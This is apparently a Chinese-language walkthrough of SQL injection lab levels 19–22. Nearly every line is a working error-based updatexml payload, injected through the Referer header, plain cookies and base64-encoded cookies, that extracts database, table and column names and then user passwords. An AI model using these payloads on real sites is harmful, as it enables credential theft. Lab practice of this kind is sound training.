其实漏洞写得很明确了,Referer存在漏洞
Referer:1' and '1'='1--+
Referer:1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1 #数据库
Referer:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 3,1),0x7e),1) and '1'='1
Referer:1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 4,1),0x7e),1) and '1'='1
Referer:1' and updatexml(1,concat(0x7e,(select concat_ws('~',username,password) from users limit 0,1),0x7e),1) and '1'='1
二十关
一样的闭合点,cookie注入.
uname=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1 #数据库
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) and '1'='1 #数据表
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) and '1'='1 #数据字段
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select concat_ws('~',username,password) from users limit 4,1),0x7e),1) and '1'='1
二十一关
base64转码操作...
admin' and '1'='1 #闭合成功
uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE #数据库
uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGxpbWl0IDMsMSksMHg3ZSksMSkgYW5kICcxJz0nMQ== #数据表
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIGxpbWl0IDQsMSksMHg3ZSksMSkgYW5kICcxJz0nMQ== #字段
Cookie: uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvbmNhdF93cygnficsdXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMgbGltaXQgNCwxKSwweDdlKSwxKSBhbmQgJzEnPScx #数据
二十二关
和二十一关的区别是点引号和双引号
差点让我以为是二十一关
admin" and "1"="1
YWRtaW4iIGFuZCAiMSI9IjE=
闭合成功
admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1 #库
admin" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and "1"="1 #表
admin" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1) and "1"="1 #字段
admin" and updatexml(1,concat(0x7e,(select concat_ws('~',username,password) from users limit 0,1),0x7e),1) and "1"="1 #数据